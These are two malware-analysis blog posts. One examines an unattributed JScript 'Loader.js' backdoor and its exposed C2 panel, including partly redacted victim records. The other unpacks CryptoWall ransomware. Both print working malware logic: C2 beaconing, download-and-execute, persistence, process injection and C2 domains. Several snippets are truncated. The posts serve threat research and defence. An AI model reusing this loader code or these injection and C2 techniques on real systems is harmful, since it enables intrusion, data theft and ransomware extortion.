Threat Actor: Unkown

Threat Actor: Unkown

Original text by marcoramilli

Today I’d like to share a quick analysis on a quite new and unknown threat spotted in the wild. The file which grabbed my attention is called Loader.js (md5: 59a03086db5ebd33615b819a7c3546a5) and if you wish you can download it from Yomi. A very similar (or maybe the same) threat has been observed in the past months from the @MalwareHunterTeam which published the following Tweet about it. Despite the nice tweet, the thread ended up without any further action or attribution (at least in my understanding).

So I decided to share some little knowledge about this sample and about the infrastructure on its back-end. The purpose of my post is to take a closer look to such a threat, without pretending to attribute or to name it.


The Javascript code is quite lean and it is shared in a clear text. No obfuscation techniques were involved in the current sample. The code is commented and the used syntax is punctual without contradictions during the file. Spaces, brackets, loops and variable assignments are clear, unique and always respectful of the file standards. Again no contradictions on syntax suggests the developer was an unique person which wrote the entire code without reuse or team swapping (or at least he spent much time to unify the syntax, which usually it makes not such a sense in the offensive world). The following code is a simple snip of what I meant by lean and respectful code syntax

// Loader version
var version = "OLD";

// Server
var server = "hxxp://93 .115. 21 .62/server/gate.php"; #modified by the blog author to avoid involuntary clik

// Interval between knocks in seconds
var interval = 181;

// How many times repeat failed task
var attemptsCount = 3;

// Status of running loader
var status = "Active";
// Path for download files
var wss = new ActiveXObject('WScript.Shell');
var defaultPath = wss.ExpandEnvironmentStrings('%APPDATA%');
var scriptFullPath = WScript.ScriptFullName;
var scriptName = WScript.ScriptName;
var fakeAutorunName = "MicrosoftOneDrive";
var shellObj = WScript.createObject("WScript.Shell");

// Connecting JSON module

// Collecting PC information
var clientInfo = GetClientInfo();

// Adding script to autorun

// Starting loader
while (status == "Active") {
    WScript.sleep(interval * 1000);

Initial section of the analyzed source code

The Javascript is made for acting in a Microsoft Windows environment, indeed it use classic execution techniques such as ActiveXObject running WScript.Shell against the victim system. The script per-se does not present innovative ways to execute code on machine and it looks like a quite simple but still effective software.

Main loop

The Javascript has a main loop to guarantee the correct execution. It is really straight forward by meaning it sends client information to command and control, it sleeps some seconds and finally it performs some tasks coming back from C2.

while (status == "Active") {
 WScript.sleep(interval * 1000);

Loader.js Main Loop

Both of the functions SendClientInfo() and SendKnock() have same styles. For example both of them instantiate a response variable which is returned and interpreted by DoTasks function.

function SendClientInfo() {
    var response;
    try {
        var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        var temp = WinHttpReq.Open("POST", server, false);
        WinHttpReq.SetRequestHeader("Content-Type", "application/json");
        WinHttpReq.SetRequestHeader("mode", "info");
        WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
        WinHttpReq.SetRequestHeader("version", version);
        response = WinHttpReq.ResponseText;
    } catch (objError) {
        response = objError + "\n"
        response += "WinHTTP returned error: " + 
            (objError.number & 0xFFFF).toString() + "\n\n";
        response += objError.description;
    return response;

function SendKnock() {
    var response;
    try {
        var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        var temp = WinHttpReq.Open("POST", server, false);
        WinHttpReq.SetRequestHeader("Accept", "application/json");
        WinHttpReq.SetRequestHeader("mode", "knock");
        WinHttpReq.SetRequestHeader("uuid", clientInfo["uuid"]);
        WinHttpReq.SetRequestHeader("version", version);
        response = WinHttpReq.ResponseText;
    } catch (objError) {
        response = objError + "\n"
        response += "WinHTTP returned error: " + 
            (objError.number & 0xFFFF).toString() + "\n\n";
        response += objError.description;
    return response;

Very Clear Style, it looks like the TA won’t use false flags at all or messing around different code styles to emulate code reuse. The entire code looks like be a brand new code base, developed from scratch since no matches have been found.

C2 Communication

The command and control communication is made by the polling loop. The main loop periodically sends to C2 the client information and later it “knocks” to the server which sets up a response piggybacking a specific task to be performed on the victim. The following switch selector performs a simple — but still effective — backdoor, executing tasks on victims. The framework presents drop and execute capabilities, execution capabilities, assigned task monitoring and kill capabilities for blocking running taks.

       while ( (attempts > 0) && (result != 'True') ) {
            switch (tasks[task]["type"]) {
                case "Download & Execute":
                    result = DownloadAndExecute(tasks[task]["content"]);
                    if (result == 'False')
                        details = "Error: download or executing file failed";
                case "Execute":
                    result = Execute(tasks[task]["content"]);
                    if (result == 'False')
                        details = "Error: executing file failed";
                case "Terminate":
                    status = "Stopped";
                    result = 'True';
                    result = 'False';
                    details = "Error: unknown task type";
            if (result == 'False')
                details = "Success";
            SendTaskResult(tasks[task]["id"], result, details);

Switch on task type to perform actions on vitims

The most interesting functions (at least in my personal point of view) are the following ones: Download & Execute and Execute. The first one is used to spread other post exploitation frameworks to gain a more sophisticated control on the machine; for example a remote shell or a direct RDP connection. The second selector (Execute) is used to merely execute pure commands on the victim, it could be very useful to make some manual lateral movements or specific researches on the infected machine

Interesting to see that the switch function is protected against exceptions but the developer decided to not manage exceptions at all. For example taking a look to the following raw

result = DownloadAndExecute(tasks[task]["content"]);

it’s clear that the malware developer assumes that content exists in the tasks[task] section. Indeed if it does not exist an exception is raised but none is managing it. This is another distinctive decision made by the malware developer, which could be useful to attribution.

But one of the most interesting piece of software is in the way the developer (ab)use the WMI to extract information from local environment. In specific case we see UUID extraction

   // Retrieve UUID
    try {
        var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct"))
; !i.atEnd(); i.moveNext() )
        initInfo["uuid"] = i.item().UUID;
    } catch (err) {
        initInfo["uuid"] = 'N/A';

IP extraction, this time basing on

 // Retrieve client IP
    try {
        var ipReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        ipReq.Open("GET", "", false);
        ipRes = ipReq.ResponseText;
        initInfo["ip"] = ipRes.replace(/^\s+|\s+$/g, '');
    } catch (err) {
        initInfo["ip"] = 'N/A';

Country Extraction (based on IP)

    // Retrieve country
    try {
        var countryReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
        countryReq.Open("GET", "", false);
        countryRes = countryReq.ResponseText;
        initInfo["location"] = countryRes.replace(/^\s+|\s+$/g, '');  
    } catch (err) {
        initInfo["location"] = 'N/A';

OS Name Extraction

 // Retrieve OS name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")); !i.a
tEnd(); i.moveNext() )
        initInfo["os"] = i.item().Caption;
    } catch (err) {
        initInfo["os"] = 'N/A';

User Name and his Role Extraction

// Retrieve User name
    try {
        var shellObj = new ActiveXObject("WScript.Shell");
        var netObj = new ActiveXObject("WScript.Network");
        initInfo["user"] = netObj.ComputerName + '/' + shellObj.ExpandEnvironmentStrings("%USERNAME%");
    } catch (err) {
        initInfo["user"] = 'N/A';

    // Retrieve user role
    try {
        initInfo["role"] = "User";
        var groupObj = GetObject("WinNT://" + netObj.UserDomain + "/" + shellObj.ExpandEnvironmentStrings("%USERNAME%"))
        for (propObj in groupObj.Members)
            if (propObj.Name == "Administrators")
                initInfo["role"] = "Admin";
    } catch (err) {
        initInfo["role"] = 'N/A';

Antivirus installed Software Extraction

// Retrieve antivirus info
    try {
        var wmiAV = GetObject("winmgmts:root\\SecurityCenter2");
        for ( var i=new Enumerator(wmiAV.ExecQuery("SELECT * FROM AntivirusProduct")); !i.atEnd(); i.moveNext() )
            if (!initInfo["antivirus"])
                initInfo["antivirus"] = i.item().displayName;     
    } catch (err) {
        initInfo["antivirus"] = 'N/A';

CPU, GPU, RAM and Total Storage

    // Retrieve CPU name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_Processor")); !i.atEnd()
; i.moveNext() )
            initInfo["cpu"] = i.item().Name;
    } catch (err) {
        initInfo["cpu"] = 'N/A';

    // Retrieve GPU name
    try {
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_VideoController")); !i.a
tEnd(); i.moveNext() )
            initInfo["gpu"] = i.item().Name;
    } catch (err) {
        initInfo["gpu"] = 'N/A';

    // Retrieve RAM
    try {
        var ramObj = WScript.CreateObject("Shell.Application");
        initInfo["ram"] = Math.round(ramObj.GetSystemInformation("PhysicalMemoryInstalled") / 
1048576) + ' MB';
    } catch (err) {
        initInfo["ram"] = 'N/A';
    // Retrieve total storage space
    try {
        var available = 0;
        var total = 0;
        for ( var i=new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_LogicalDisk")); !i.atEnd(); i.moveNext() ) {
            if (i.item().Size != null) {
                available += (i.item().FreeSpace / 1024 / 1024 / 1024);
                total += (i.item().Size / 1024 / 1024 / 1024);
        initInfo["storage"] = Math.round(available) + ' / ' + Math.round(total) + ' GB';
    } catch (err) {
        initInfo["storage"] = '0 / 0 GB';

Finally the attacker uses a net view to check if there are more PC on the network. If the function gets back some results, the attacker might decide to perform some manual lateral movements by introducing (through the download and execute command) a new Post exploitation framework.


The framework persistence and installation is performed by a simple entry in the autorun regkey as performed by the following function

function AddToAutorun() {
    try {
        startupPath = defaultPath + '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\';
        fsObj = WScript.CreateObject('Scripting.FileSystemObject');   
        fsObj.CopyFile(scriptFullPath, startupPath);
    } catch (err) { return; }

AutoRun And Persistence

The defaultPath variable is previously set to wss.ExpandEnvironmentStrings('%APPDATA%'); so that the javascript is stored in the classic %APPDATA% folder which has the right user permissions and it gets executed on startup by the autorun registration.

External Resources

Another interesting point is in the way the attacker loads the external resources. In this script the developer uses the ImportJSON() which grabs the needed library online and then executes it through eval() statement. Again for the second time the attacker assumes that the library is reachable by the target PC, so the victim shall be placed in an environment where is not restricted. A simple way to block the execution of this loader in a wide infection scenario it would be to block the download of the json2.js library by filtering out the following url:

function ImportJSON() {
    var xObj = WSH.CreateObject('Microsoft.XMLHTTP'),
    fso = WSH.CreateObject('Scripting.FileSystemObject'),
    temp = WSH.CreateObject('WScript.Shell').Environment('Process')('temp'),
    j2lib = ''

    if (fso.FileExists(temp + '\\json2.js')) {
        j2lib = fso.OpenTextFile(temp + '\\json2.js', 1);
    else {
        with (xObj) {
            open("GET", j2lib, true);
            setRequestHeader('User-Agent', 'XMLHTTP/1.0');

        while (xObj.readyState != 4) WSH.Sleep(50);
        j2lib = fso.CreateTextFile(temp + '\\json2.js', true);

Command And Control Web Panel

By taking a closer look to the Command and Control server, available at the following address: "hxxp://93 .115. 21 .62/server/ ,we might see the attacker let the directory named server free to list its content. We can now enumerate the entire directory making some guess on how the Command and Control web panel would work.

C2 Server listing folder

Fortunately it looks like the panel does not check the login session correctly letting me free to query the single .php files even without any real credential. For example performing a simple HTTP GET request to the drawAntivirusesChart.php we get the following result.

  "data": [
      "name": "AhnLab V3 Lite",
      "count": 1
      "name": "Windows Defender",
      "count": 3
      "name": "Quick Heal Internet Security",
      "count": 1
      "name": "N\\/A",
      "count": 1
      "name": "SecureAPlus Antivirus",
      "count": 1
      "name": "Emsisoft Anti-Malware",
      "count": 1
      "name": "Webroot SecureAnywhere",
      "count": 1

So we are able to query the C2 and getting back results in order to estimate how wide is the current attack surface and how is the current victimology. So let’s start on understanding the attack range. It looks like the file printSummaryOverview.php would definitely help us in having a quick overview. So let’s query it and see how big the infection looks like.


We have actually a super small set of victims, maybe because they have been selected or maybe because it is an early stage threat (I would bet on the second hypothesis). By querying the printTopCountries.php I would expect to see target areas, indeed if you remember the Loader.js it checks from ipinfo the target country and location.


Sweet ! Now, what if we can query, in the same way, the endpoint named printClients.php ? Will it be a kind of database dump with the entire victimology ? Yes it is !

  "draw": 0,
  "recordsTotal": 9,
  "recordsFiltered": 9,
  "data": [
      "id": "2",
      "uuid": "18D68C6D-OMISSIS by Author",
      "ip": "115.69.OMISSIS by Author",
      "location": "IN",
      "os": "Microsoft Windows 8.1 Enterprise Evaluation",
      "user": "IE11W OMISSIS by Author/IEUser",
      "role": "N\\/A",
      "antivirus": "AhnLab V3 Lite",
      "cpu": "AMD A6-6310 APU with AMD Radeon R4 Graphics ",
      "ram": "4096 MB",
      "storage": "312 \\/ 465 GB",
      "network": "0",
      "added": "2020-11-21 17:50:58",
      "seen": "2020-11-21 18:05:48",
      "version": "OLD"
      "id": "3",
      "uuid": "032E02B4-OMISSIS by Author",
      "ip": "185.107.1OMISSIS by Author",
      "location": "RU",
      "os": "\\u041c\\u0430\\u0439\\u043a\\u0440\\u043e\\u0441\\u043e\\u0444\\u0442 Windows 10 Pro",
      "user": "DESK OMISSIS by Author H5\\/Admin",
      "role": "User",
      "antivirus": "Windows Defender",
      "cpu": "AMD Ryzen 5 PRO 3400G with Radeon Vega Graphics",
      "ram": "14284 MB",
      "storage": "535 \\/ 1009 GB",
      "network": "0",
      "added": "2020-11-21 22:35:17",
      "seen": "2020-11-21 22:38:18",
      "version": "OLD"
      "id": "4",
      "uuid": "67CDDC1F - OMISSIS by Author",
      "ip": "94.114.OMISSIS by Author",
      "location": "DE",
      "os": "Microsoft Windows 10 Pro",
      "user": "NQ OMISSIS by Author D1HVy",
      "role": "N\\/A",
      "antivirus": "Windows Defender",
      "cpu": "Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz",
      "ram": "4096 MB",
      "storage": "487 \\/ 511 GB",
      "network": "0",
      "added": "2020-11-21 23:48:48",
      "seen": "2020-11-21 23:48:48",
      "version": "OLD"
---- snip ----

  "debug": "SELECT `id`, `uuid`, `ip`, `location`, `os`, `user`, `role`, `antivirus`, `cpu`, `ram`, `storage`, `network`, `added`, `seen`, `version` FROM `clients` "

Quite interesting the debugging strings as well. They show us the database composition.

Unknown TA Dasboard


Genetic Analysis of CryptoWall Ransomware

Genetic Analysis of CryptoWall Ransomware

Original text by Ryan Cornateanu

A strain of a Crowti ransomware emerged, the variant known as CryptoWall, was spotted by researchers in early 2013. Ransomware by nature is extraordinarily destructive but this one in particular was a bit beyond that. Over the next 2 years, with over 5.25 billion files encrypted and 1 million+ systems infected, this virus has definitely made its mark in the pool of cyber weapons. Below you can find a list of the top ten infected countries:

Image for post
Source: Dell Secure Works

CryptoWall is distinct in that its campaign ID initially gets sent back to their C2 servers for verification purposes. The motivation behind these ID’s are to track samples by the loader vectors. The one we will be analyzing in our laboratory experiment has the crypt1 ID that was first seen around February 26th, 2014. The infection vector is still unknown today but we will be showing how to unpack the loader, and extract the main ransomware file. Some of the contagions have been caused by Drive-by downloads, Cutwail/Upatre, Infinity/Goon exploit kit, Magnitude exploit kit, Nuclear exploit kit/Pony Loader, and Gozi/Neverquest.

Initial Analysis

We will start by providing the hash of the packed loader file:

➜  CryptoWall git:(master) openssl md5 cryptowall.bin
MD5(cryptowall.bin)= 47363b94cee907e2b8926c1be61150c7

Running the file command on the bin executable, we can confirm that this is a PE32 executable (GUI) Intel 80386, for MS Windows. Similar to the analysis we did on the Cozy Bear’s Beacon Loader, we will be using IDA Pro as our flavor of disassembler tools.

Loading the packed executable into our control flow graph view, it becomes apparent fairly quickly that this is packed loader code, and the real CryptoWall code is hiding somewhere within.

Image for post
WinMain CFG View

Checking the resource section of this binary only shows that it has two valid entries; the first one being a size of 91,740 bytes. Maybe we will get lucky and the hidden PE will be here?

Image for post
Dumped resource section

Unfortunately not! This looks like some custom base64 encoded data that will hopefully get used later somewhere down the line in our dissection of the virus. If we scroll down to the end of WinMain() you’ll notice a jump instruction that points to EAX. It will look something like this in the decompiler view:


Unpacking Binary Loaders

At this point, we have to open up a debugger, and view this area of code as it is being resolved dynamically. What you will want to do is a set a breakpoint at 0x00402dda, which is the location of the jmp instruction. Once you hit this breakpoint after continuing execution, you’ll notice EAX now points to a new segment of code. Dumping EAX in the disassembler will lead you to the 2nd stage loader. Use the debugger’s step into feature, and our instruction pointer should be safely inside the decrypted loader area.

Image for post
2nd Stage

Let’s go over what is happening at this stage of the malware. EBP+var_EA6E gets loaded effectively into EDXEAX then holds the index count incrementer to follow the next few bytes at data address 302C9AEh.

.data:0302CA46   mov     bl, byte ptr (loc_302C9AE - 302C9AEh)[eax]
.data:0302CA48 add ebx, esi
.data:0302CA4A mov [edx], bl

All this snippet of code is doing is loading bytes from the address mentioned above and storing it at bl (the lower 8 bits of EBX). The byte from bl is then moved into the pointer value of EDX. At the end of this routine EBP+var_EA6E will hold a valid address that gets called as EAX (we can see the line highlighted in red in the image above). Stepping into EAX will now bring us to the third stage of the loading process.

A lot is going on at this point; this function has a couple thousand lines of assembly to go over, so at this point it’s better we open the decompiler view to see what is happening. After resolving some of the strings on the stack, there is some key information that starts to pop up on the resource section we viewed earlier.

pLockRsrc = GetProcAddress(kernel32, &LockResource);
pSizeofResource = GetProcAddress(kernel32, &SizeofResource);
pLoadResource = GetProcAddress(kernel32, &LoadResource);
pGetModuleHandle = GetProcAddress(kernel32, &GetModuleHandleA);
pFindRsrc = GetProcAddress(kernel32, &FindResourceA);
pVirtualAlloc = GetProcAddress(kernel32, &VirtualAlloc);

The malware is loading all functions dynamically that have to do with our resource section. After the data gets loaded into memory, CryptoWall begins its custom base64 decoding technique and then continues to a decryption method as seen below.

Image for post

Most of what is happening here can be explained in a decryptor I wrote that resolves the shellcode from the resource section. If you head over to the python script, you’ll notice the custom base64 decoder is fairly simple. It will use a hardcoded charset, and check to see if any of the bytes from the resource section match a byte from the charset; if it is a match, it breaks from the loop. The next character gets subtracted by one and compared to a value of zero, if greater, it will take that value and modulate by 256; that byte will then get stored in a buffer array. It will perform this in a loop 89,268 times, as that is the size of the encoded string inside the resource section.

Secondary to this, another decryption process starts on our recently decoded data from the algorithm above. Looking at the python script again, we can see that hardcoded XOR keys were extracted in the debugger if you set a breakpoint inside the decryption loop. All that is happening here is each byte is getting decrypted by a rotating three byte key. Once the loop is finished, the code will return the address of the decrypted contents, which essentially just contains an address to another subroutine:

buffer = *(base_addr + idx) - (*n ^ (&addr + 0xFFE6DF5F + idx));
*(base_addr + idx++) = buffer;

Fourth_Stage_Loader = base_addr;
return (&Fourth_Stage_Loader)(buffer, b64_decoded_str, a1);

The base_addr transfers data to another variable that we named Fourth_Stage_Loader which holds the address of the newest function, and can be used as a caller. If we dump the address at call dword ptr gs:(loc_1920A1–1920A1h)[eax] into memory, you’ll see bytes that start with a generic x86 function prologue like 55 8b ec 81. Dump this to a file, and we can actually emulate this shellcode. In doing so, we don’t have to step through all this code in the debugger; instead it will hopefully tell us how to unpack and get to the main CryptoWall file.

Side note: the python script I wrote will automatically decode & decrypt the resource section, and dump it to a bin file by running => python -e.

0x1000: push ebp
0x1001: mov ebp, esp
0x1003: add esp, 0xfffff004

An easy way to see what this next stage in the malware’s loader is doing is by using one of my favorite shellcode emulator tools called ScDbg. By using this tool, we can figure out exactly where we need to set our breakpoints in order to get to the main ransomware file. We are going to look for calls such as VirtualAllocWriteProcessMemoryCreateProcessA, etc.

C:\> scdbg.exe /s 3200000 /bp WriteProcessMemory /f dump.binLoaded 10587 bytes from file extractions/pe_process_injector_dump.bin
Breakpoint 0 set at 7c802213
Initialization Complete..
Max Steps: 3200000
Using base offset: 0x4010004011cf GetProcAddress(LoadLibraryA)
40165f GetProcAddress(VirtualAlloc)
401c46 GetProcAddress(GetCurrentProcessId)
401c52 GetCurrentProcessId() = 29
401d46 CloseHandle(18be)
401f40 VirtualAlloc(base=0 , sz=20400) = 600000
4021e1 VirtualAllocEx(pid=1269, base=400000 , sz=25000) = 621000
/* Breakpoint 0 hit at: 7c802213 */
4021fe WriteProcessMemory(pid=1269, base=400000 , buf=600000, sz=400, written=12fd70)
/* Breakpoint 0 hit at: 7c802213 */
40224e WriteProcessMemory(pid=1269, base=401000 , buf=600400, sz=16400, written=12fd70)

Interesting… it looks like the malware is allocating memory to its own process by using GetCurrentProcessId() and allocating a large enough space to inject a PE file into itself. After memory allocation, CryptoWall injects the payload file twice, once for the header, and the second time for the rest of the file. If you set a breakpoint at WriteProcessMemory, and continue execution twice, you can dump the second argument (ECX) on the stack to see the hidden PE file.

Image for post

There is an Anti-VM trick along the way in the 3rd stage part of the loader process that needs to be patched in order to hit the injection process, so I wrote an x32Dbg python plugin to help automate the patching and dumping operation.

Reversing the Main Crypto Binary

CryptoWall’s entry point starts off by dynamically resolving all imports to obtain all of NTDLL’s offsets by using the process environment block.

Image for post

It will then call a subroutine that is responsible for using the base address of the loaded DLL and uses many hardcoded DWORD addresses to locate hundreds of functions.

Side Note: If you would like to make your life a whole lot easier with resolving the function names in each subroutine, I made a local type definition for IDA Pro over here. The resolving import function table will look a lot cleaner than what you see above:

Image for post

After the function returns, the malware will proceed to generate a unique hash based on your system information, the resulting string will be MD5 hashed => DESKTOP-QR18J6QB0CBF8E8Intel64 Family 6 Model 70 Stepping 1, GenuineIntel. After computing the hash, it will setup a handle to an existing named event object with the specified desired access that will be called as \\BaseNamedObjects\\C6B359277232C8E248AFD89C98E96D65.

The main engine of the code starts a few routines after the malware checks for system information, events, anti-vm, and running processes.

Image for post

Most of the time the ransomware will successfully inject its main thread into svchost and not explorer; so let’s follow that trail. Since this is a 32-bit binary its going to attempt to find svchost.exe inside of SysWOW64 instead of System32. After successfully locating the full path, it will create a new thread using the RtlCreateUserThread() API call. Once the thread is created, NtResumeThread() will be used on the process to start the ransomware_thread code. Debugging these types of threads can be a little convoluted, and setting breakpoints doesn’t always work.

.text:00416F40     ransomware_thread proc near             
.text:00416F40 start+86↓o
.text:00416F40 var_14 = dword ptr -14h
.text:00416F40 var_10 = dword ptr -10h
.text:00416F40 var_C = dword ptr -0Ch
.text:00416F40 var_8 = dword ptr -8
.text:00416F40 var_4 = dword ptr -4
.text:00416F40 000 push ebp
.text:00416F41 004 mov ebp, esp
.text:00416F43 004 sub esp, 14h
.text:00416F46 018 call ResolveImportsFromDLL

Using x32Dbg, you can set the EIP to address 0x00416F40 since this thread is not resource dependent on any of the other code that has been executed up until this point; this thread even utilizes the ResolveImportsFromDLL function we saw in the beginning of the program’s entry point… meaning, the forced instruction pointer jump will not damage the integrity of the ransomware.

isHandleSet = SetSecurityHandle();
if ( isHandleSet && SetupC2String() )
v8 = 0;
v6 = 0;
IsSuccess = WhichProcessToInject(&v8, &v6);
if ( IsSuccess )
IsSuccess = StartThreadFromProcess(-1, InjectedThread,
0, 0, 0);

The thread will go through a series of configurations that involve setting up security attributes, MD5 hashing the hostname of the infected system, and then searching to either inject new code into svchost or explorer. In order to start a new thread, the function WhichProcessToInject will query the registry path, and check permissions on what key values the malware has access to. Once chosen, the InjectedThread process will resume. Stepping into that thread, we can see the module size is fairly small.

.text:00412E80     InjectedThread  proc near               ; DATA 
.text:00412E80 000 push ebp
.text:00412E81 004 mov ebp, esp
.text:00412E83 004 call MainInjectedThread
.text:00412E88 004 push 0
.text:00412E8A 008 call ReturnFunctionName
.text:00412E8F 008 mov eax, [eax+0A4h]
.text:00412E95 008 call eax
.text:00412E97 004 xor eax, eax
.text:00412E99 004 pop ebp
.text:00412E9A 000 retn
.text:00412E9A InjectedThread endp

At address 0x00412E83, a subroutine gets called that will bring the malware to start the next series of functions that involves the C2 server configuration callback, and the encryption of files. After the thread is finished executing, EAX resolves a function at offset +0x0A4 which will show RtlExitUserThread being invoked. Once we enter MainInjectedThread, you’ll notice the first function at 0x004011B40 is giving us the first clue of how the files will be encrypted.

.text:00411D06 06C                 push    0F0000000h
.text:00411D0B 070 push 1
.text:00411D0D 074 lea edx, [ebp+reg_crypt_path]
.text:00411D10 074 push edx
.text:00411D11 078 push 0
.text:00411D13 07C lea eax, [ebp+var_8]
.text:00411D16 07C push eax
.text:00411D17 080 call ReturnFunctionName
.text:00411D1C 080 mov ecx, [eax+240h]
.text:00411D22 080 call ecx ; CryptAcquireContext

CryptAcquireContext is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). In our case, the CSP being used is Microsoft\Enhanced\Cryptographic\Provider\V1, which coincides with algorithms such as DES, HMAC, MD5, and RSA.

Image for post

Once the CryptoContext is populated, the ransomware will use the MD5 hash created to label the victim’s system information and register it as a key path as such → software\\C6B359277232C8E248AFD89C98E96D65. The ransom note is processed by a few steps. The first step is to generate the TOR addresses which end up resolving four addresses: http[:]//torforall[.]comhttp[:]//torman2[.]comhttp[:]//torwoman[.]com, and http[:]//torroadsters[.]com. These DNS records will be used later on to inject into the ransomware HTML file. Next, the note gets produced by the use of the Win32 API function, RtlDecompressBuffer, to decompress the data using COMPRESSION_FORMAT_LZNT1. The compressed ransom note can be found in the .data section and consists of 0x52B8 bytes.

Image for post

Decompressing the note is kind of a mess in python as there is no built in function that is able to do LZNT1 decompression. You can find the actual call at address 0x004087F3.

.text:004087CF 024                 lea     ecx, [ebp+var_8]
.text:004087D2 024 push ecx
.text:004087D3 028 mov edx, [ebp+arg_4]
.text:004087D6 028 push edx
.text:004087D7 02C mov eax, [ebp+arg_6]
.text:004087DA 02C push eax
.text:004087DB 030 mov ecx, [ebp+var_18]
.text:004087DE 030 push ecx
.text:004087DF 034 mov edx, [ebp+var_C]
.text:004087E2 034 push edx
.text:004087E3 038 movzx eax, [ebp+var_12]
.text:004087E7 038 push eax
.text:004087E8 03C call ReturnFunctionName
.text:004087ED 03C mov ecx, [eax+178h]
.text:004087F3 03C call ecx
// Decompiled below
FinalUncompressedSize) )

After the function call, uncompressed_buffer will be a data filled pointer to a caller-allocated buffer (allocated from a paged or non-paged pool) that receives the decompressed data from CompressedBuffer. This parameter is required and cannot be NULL, which is why there is anNtAllocateVirtualMemory() call to this parameter before being passed to decompression. The script I wrote will grab the compressed data from the PE file, and run a LZNT1 decompression algorithm then place the buffer in an HTML file. The resulting note will appear on the victims system as such:

Image for post

Once the note is decompressed, the HTML fields will be populated with multiple TOR addresses at subroutine sub_00414160(). The note is stored in memory then follows a few more checks before the malware sends its first C2 POST request. Stepping into SendRequestToC2 which is located at 0x00416A50, the first thing we notice is a buffer being allocated 60 bytes of memory.

.text:00416A77 018                 push    3Ch
.text:00416A79 01C call AllocateSetMemory
.text:00416A7E 01C add esp, 4
.text:00416A81 018 mov [ebp+campaign_str], eax

All this information will eventually help us write a proper fake C2 server that will allow us to communicate with the ransomware since CryptoWall’s I2P servers are no longer active. Around address 0x004052E0, which we labeled EncryptData_SendToC2 will be responsible for taking our generated campaign string and sending it as an initial ping.

Image for post

If you set a breakpoint at this function, you can see what the parameter contains: {1|crypt1|C6B359277232C8E248AFD89C98E96D65}. Once inside this module, you’ll notice three key functions; one responsible for byte swapping, a key scheduling algorithm, and the other doing the actual encryption. The generated RC4 encryption will end up as a hash string:


Command & Control Communication

The malware sets itself up for a POST request to its I2P addresses that cycle between proxy1–1–1.i2p & proxy2–2–2.i2p. The way this is done is by using the function at 0x0040B880 to generate a random seed based on epoch time, and use that to create a string that ranges from 11 to 16 bytes. This PRNG (Pseudo-Random Number Generator) string will be used as the POST request’s URI and as the key used in the byte swapping function before the RC4 encryption.

Image for post

To give us an example, if our generated string results in tfuzxqh6wf7mng, then after the function call, that string will turn into 67ffghmnqtuwxz. That string gets used for a 256-generated key scheduling algorithm, and the POST request (I.E., http://proxy1–1–1.i2p/67ffghmnqtuwxz). You can find the reverse engineered algorithm here.

Image for post

The next part will take this byte swapped key, then RC4 encrypt some campaign information that the malware has gathered, which unencrypted, will look like this:


This blob consists of the campaign ID, an MD5 hashed unique computer identifier, a CUUID, and the victims public IP address. After preparation of this campaign string, the ransomware will begin to resolve the two I2P addresses. Once CryptoWall sends its first ping to the C2 server, the malware expects back an RC4 encrypted string, which will contain a public key used to encrypt all the files on disk. The malware has the ability to decrypt this string using the same RC4 algorithm from earlier, and will parse the info from this block: {216|1pai7ycr7jxqkilp.onion|[pub_key]|US|[unique_id]}. The onion route is for the ransom note, and is a personalized route that the victim can enter using a TOR browser. The site most likely contains further instructions on how to pay the ransom.

Since the C2 servers are no longer active; in order to actually know what our fake C2 server should send back to the malware; the parser logic had to be carefully dissected which is located at 0x00405203.

Image for post

In this block, the malware decrypts the data it received from the C2 server. Once decrypted, it stores the first byte in ECX and compares hex value to 0x7B (char: ‘{‘). Tracing this function call to the return value, the string returned back will remove brackets from start to end. At memory address 0x00404E69, a DWORD pointer at eax+2ch holds our newly decrypted and somewhat parsed string, that will be checked for a length greater than 0. If the buffer holds weight, we move on over to the final processing of this string routine at 0x00404B00, that I dubbed ParseC2Data(). This function takes four parameters, char* datainint datain_sizechar *dataoutint dataout_size. The first blob on datain data gets parsed from the first 0x7C (char: ‘|’) and extracts the victim id.

victim_id = GetXBytesFromC2Data(decrypted_block_data_from_c2, &hex_7c, &ptr_to_data_out);

ptr_to_data_out and EAX will now hold an ID number of 216 (we got that number since we placed it there in our fake C2). The next block of code will finish the rest of the data:

while ( victim_id )
if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too,
8 * idx + 8) )
&some_buffer_to_copy_too[2 * idx + 1],
&some_buffer_to_copy_too[2 * idx]);
if ( ptr_to_data_out )
for ( i = 0; *(i + ptr_to_data_out) == 0x7C; ++i )
if (
8 * idx + 8) )
victim_id = GetXBytesFromC2Data(0, &hex_7c_0,

What’s happening here is that by every iteration of the character ‘|’ we grab the next chunk of data and place it in memory into some type structure. The data jumps X amount of times per loop until it reaches the last 0x7C byte. It will loop a total of four times. After this function returns, dataout will contain a pointer in memory to this local type, which we reversed to look like this:

struct _C2ResponseData
int victim_id;
char *onion_route;
const char* szPemPubKey;
char country_code[2];
char unique_id[4];

Shortly after, there is a check to make sure the victim id generated is no greater than 0x3E8 or that it is not an unsigned value.

value_of_index = CheckID(*(*parsed_data_out->victim_id));
if ( value_of_index > 0x3E8 || value_of_index == 0xFFFFFFFF )
value_of_index = 0x78;

